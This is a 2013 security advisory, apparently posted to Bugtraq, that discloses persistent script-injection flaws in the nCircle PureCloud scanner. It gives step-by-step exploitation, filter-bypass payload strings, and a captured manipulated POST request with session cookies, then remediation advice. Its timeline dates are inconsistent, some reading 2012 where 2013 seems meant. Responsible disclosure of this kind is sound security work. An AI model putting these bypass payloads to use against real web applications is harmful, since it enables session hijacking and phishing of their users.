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nCircle PureCloud Vulnerability Scanner - Multiple Web Vulnerabilities
- To: bugs@xxxxxxxxxxxxxxxxxxx, bugtraq@xxxxxxxxxxxxxxxxx
- Subject: nCircle PureCloud Vulnerability Scanner - Multiple Web Vulnerabilities
- From: Vulnerability Lab <research@xxxxxxxxxxxxxxxxxxxxx>
- Date: Mon, 28 Jan 2013 16:58:51 +0100
Title:
======
nCircle PureCloud Vulnerability Scanner - Multiple Web Vulnerabilities
Date:
=====
2013-01-28
References:
===========
http://www.vulnerability-lab.com/get_content.php?id=795
nCircle Tracking ID: 20130117-US11337
VL-ID:
=====
795
Common Vulnerability Scoring System:
====================================
4.1
Introduction:
=============
nCircle PureCloud is brought to you by nCircle, the leading provider of
information risk and security performance management solutions.
PureCloud delivers an enterprise-class vulnerability scanner with more than
double the coverage of other providers covering thousands of
conditions and prioritized risk assessments – all in a cloud-based solution.
nCircle PureCloud is the world’s first security scanning technology that
requires no scanning infrastructure on the customer network.
PureCloud eliminates the need for firewall changes and software or hardware
deployment on a customer`s internal network.. Requiring only
a Web browser, PureCloud securely scans a private network to identify a broad
range of vulnerabilities and risks, and provides detailed
guidance on the steps necessary to reduce or eliminate those risks. With
PureCloud, small businesses and home offices benefit from nCircle’s
most advanced enterprise class security scanning solution, without the
complexity or maintenance associated with traditional SaaS or on-premise
scanning products. PureCloud is delivered as a software service in the Cloud,
making it cost-effective, efficient and widely accessible.
(Copy of the Vendor Homepage: https://purecloud.ncircle.com/about_purecloud/ )
Abstract:
=========
The Vulnerability-Laboratory Research Team discovered a web vulnerability in
the nCircle PureCloud (cloud-based) Vulnerability Scanner Application.
Report-Timeline:
================
2012-12-24: Researcher Notification & Coordination
2012-12-25: Vendor Notification
2012-01-16: Vendor Response/Feedback
2012-01-28: Vendor Fix/Patch by nCricle Dev
2012-01-28: Public Disclosure
Status:
========
Published
Affected Products:
==================
nCircle
Product: PureCloud - Vulnerability Scanner (cloud-based) 2012 Q4
Exploitation-Technique:
=======================
Remote
Severity:
=========
Medium
Details:
========
A persistent and client side POST Injection web vulnerability is detected in
the in the nCircle PureCloud (cloud-based) Vulnerability Scanner Application.
The vulnerability typus allows an attacker to inject own malicious script code
in the vulnerable module on application side (persistent).
1.1
The first vulnerability is located in the Scan Now > Scan Type > Perimeter Scan
> Scan section when processing to request via the
`Scan Specific Devices - [Add Devices]` module and the bound vulnerable
formErrorContent exception-handling application parameters.
The persistent injected script code will be executed out of the `invalid
networks` web application exception-handling. To bypass
the standard validation of the application filter the attacker need to provoke
the specific invalid networks exception-handling error.
In the secound step the attacker splits the request of the invalid filter
context to execute after it the not parsed malicious script code.
The vulnerability can be exploited on client side via force manipulated link as
malicious request with medium user interaction but also
via server side by a post injection in the later affected add server listing
module.
1.2
The secound vulnerability is bound to the first issue and located in the IP &
Name output listing of the scan index after processing to
add a network/server/ip. The code will be executed out of the main ip & name
listing after an evil inject via add module. To bypass the
ip restriction filter it is required to split the request like in the first
issue with a valid ip. The remote attacker includes a
valid ip+split(%20)`+own_scriptcode to pass through the system validation
filter and execute the script code out of the device name and ip listing.
The vulnerability can be exploited with privileged application user account and
low or medium required user interaction.
Successful exploitation of the vulnerability result in
persistent/non-persistent session hijacking, persistent/non-persistent
phishing, external redirect, external malware loads and
persistent/non-persistent vulnerable module context manipulation.
Vulnerable Service(s):
[+] nCircle PureCloud (cloud-based)
Vulnerability Scanner [https://purecloud.ncircle.com/index/]
Vulnerable Section(s):
[+] Scan Now > Scan Type > Perimeter Scan > Scan
Vulnerable Module(s):
[+] Scan Specific Devices - [Add Devices]
[+] Scan IP (Index)
Vulnerable Parameter(s):
[+] formErrorContent
[+] ip &- name
Affected Module(s):
[+] Exception Handling - Invalid Network(s)
[+] Scan Index - Listing
Proof of Concept:
=================
The client- & server-side web vulnerability can be exploited by remote
attackers and local privileged application user accounts with
low or medium user interaction. For demonstration or reproduce ...
1.1
Note:
When you try to inject a standard iframe, img src, script or onload the context
will be parsed by the exception-handling to
prevent the first execution after the inject attempt. To bypass the validation
we first inject a frame which matches with the invalid
exception filter to display the error. Now, we split the request with %20 and
inject our code after the split via POST.
Manually Exploitation:
1. Register an account at nCircle PureCloud to get access to the (cloud-based)
Vulnerability Scanner-
[https://purecloud.ncircle.com/registerinfo3/?hacknewssocial]
2. Login to your account and switch to the scan now menu, open the scan type
site
3. Choose the Perimeter Scan, not the local one!
4. Include a standard script alert tag to provoke the exception-handling, split
the request with %20' and inject your own frame onload script code. Save via
Add!
5. The scirpt code will be executed out of the exception-handling invalid
networks message.
6. Done #1 ... Successful reproduced! Press Continue to exploit also the
listing :)
7. Include a valid ip, split the request (bypass the input restriction) and
inject after it your own script code.
8. Watch the scan index. The code will be executed out of the vulnerable name
and ip value output listing.
9. Done #2 ... Successful reproduced!
PoC:
#1 <iframe src=PROVOKEINVALIDEXCEPTION1> %20' >"<[OWN INJECTED PERSISTENT
SCRIPT CODE!]>
#2 <script>alert("PROVOKEINVALIDEXCEPTION2")</script> < %20' "><[OWN INJECTED
PERSISTENT SCRIPT CODE!]) <
Review: Scan Specific Devices > [Add Devices] - Exception Handling - Invalid
Network(s)
<div style="opacity: 0.87; position: absolute; top: 287px; left: 461px;
margin-top: -200px;"
class="id_add_hosts_textformError parentFormscan-form formError">
<div class="formErrorContent">
The following networks are invalid:
%20"><"><script>alert(\"PROVOKEEXCEPTION\")> < %20'
">"<[PERSISTENT/NON-PERSISTENT INJECTED SCRIPT CODE!]>
(host not found)</iframe></div><div class="formErrorArrow"><div
class="line10"><!-- --></div><div class="line9"><!-- --></div>
<div class="line8"><!-- --></div><div class="line7"><!-- --></div><div
class="line6"><!-- --></div><div class="line5"><!-- --></div>
<div class="line4"><!-- --></div><div class="line3"><!-- --></div><div
class="line2"><!-- --></div><div class="line1"><!-- --></div></div></div>
<input value="%20"><iframe src=[PROVOKE!]>%20 >"<[PERSISTENT/NON-PERSISTENT
INJECTED SCRIPT CODE!]>"
id="id_add_hosts_text" tabindex="5" class="wizardInput" placeholder="Add
Devices" type="text">
<button id="add_button" class="addButton">Add</button>
</div>
--- Manipulated POST Values ---
csrfmiddlewaretoken=HX0rcMdE3EK40Ed1g2pMeSauuQl2rt9N
json_data={"connector":-1,"scan_connected_network":false,
"registration_id":"","scope_name":"","editing_scope_schedule":false,
"webapp":false,"targets":["><script>alert(\"PROVOKEEXCEPTION\")> < %20'
">"<[PERSISTENT/NON-PERSISTENT INJECTED SCRIPT CODE!]) <"]}
--- Manipulated POST Request ---
Status: 200[OK]
POST https://purecloud.ncircle.com/services/validate_targets/
Load Flags[LOAD_BYPASS_CACHE LOAD_BACKGROUND ] Größe des Inhalts[181] Mime
Type[application/json]
Request Header:
Host[purecloud.ncircle.com]
User-Agent[Mozilla/5.0 (Windows NT 6.1; WOW64; rv:17.0) Gecko/20100101
Firefox/17.0]
Accept[application/json, text/javascript, */*; q=0.01]
Accept-Language[de-de,de;q=0.8,en-us;q=0.5,en;q=0.3]
Accept-Encoding[gzip, deflate]
DNT[1]
Connection[keep-alive]
Content-Type[application/x-www-form-urlencoded; charset=UTF-8]
X-Requested-With[XMLHttpRequest]
Referer[https://purecloud.ncircle.com/index/]
Content-Length[439]
Cookie[csrftoken=HX0rcMdE3EK40Ed1g2pMeSauuQl2rt9N;
sessionid=8c8624ba5e31c63bf24bcbf9af796743;
BIGipServerPICO-443to80=1875711404.20480.0000; utmcct=/ben37.root;
wcsid=uNTCNCc0tpp1NCv01YCYlGfr93631472;
hblid=kRw3BvqhoczGhyJc8E8J5dYW93631472;
_oklv=1356379996583%2CuNTCNCc0tpp1NCv01YCYlGfr93631472;
olfsk=olfsk02835150931791619;
_okbk=cd5%3Davailable%2Ccd4%3Dtrue%2Cwa1%3Dfalse%2Cvi5%3D0%2Cvi4%3D1356378355284%2Cvi3%3Dactive%2Cvi2%3Dfalse%2Cvi1%3Dfalse%2Ccd8
%3Dchat%2Ccd6%3D0%2Ccd3%3Dfalse%2Ccd2%3D0%2Ccd1%3D0%2C; _ok=9363-144-10-3734;
__unam=97cb67-13bce735458-18f208d4-21;
_mkto_trk=id:671-RXE-353&token:_mch-ncircle.com-1356378363952-41877]
Pragma[no-cache]
Cache-Control[no-cache]
POST-Daten:
csrfmiddlewaretoken[HX0rcMdE3EK40Ed1g2pMeSauuQl2rt9N]
json_data[%7B%22connector%22%3A-1%2C%22scan_connected_network%22%3Afalse%2C%22registration_id%22%3A%22%22%2C%22scope_name
%22%3A%22%22%2C%22editing_scope_schedule%22%3Afalse%2C%22webapp%22%3Afalse%2C%22targets%22%3A%5B%22%2520%5C%22+%2520+%5C%22%3E%3C
iframe+src%3Da+onload%3Dalert(%5C%22PROVOKEEXCEPtION%5C%22)+%3C++%5C%22%3E%3C[PERSISTENT/NON-PERSISTENT
INJECTED SCRIPT CODE!])+%3C%22%5D%7D]
Response Header:
Date[Mon, 24 Dec 2012 20:13:25 GMT]
Server[Apache]
Content-Language[en]
Content-Encoding[gzip]
Vary[Accept-Language,Cookie,Accept-Encoding]
X-Frame-Options[SAMEORIGIN]
Content-Length[181]
Keep-Alive[timeout=15, max=76]
Connection[Keep-Alive]
Content-Type[application/json]
1.2
The server-side (persistent) web vulnerability can be exploited by remote
attackers and local privileged application user accounts with
low user interaction. For demonstration or reproduce ...
PoC:
[VALID IP]%20'+%20>"<><[PERSISTENT SCRIPT CODE!]+...
[VALID NAME]%20'+%20>"<><[PERSISTENT SCRIPT CODE!]+...
Solution:
=========
Parse the exception-handling error output listing and disallow error echos with
requested web context.
To fix the vulnerability parse the context of the input fields in the add
devices module. Restrict the the input fields with a secure filter mask.
Parse also the name & ip scan index output listing and restrict the input of
the requested web context scan listing.
2012-01-28: Vendor Fix/Patch by nCricle Dev
Risk:
=====
1.1
The security risk of the client- and server-side post injection web
vulnerability in the exception handling and listing is estimated as medium(+).
1.2
The security risk of the persistent input validation vulnerability in the scan
index listing is estimated as medium(+).
Credits:
========
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri
(bkm@xxxxxxxxxxxxxxxxxxxxx)
Disclaimer:
===========
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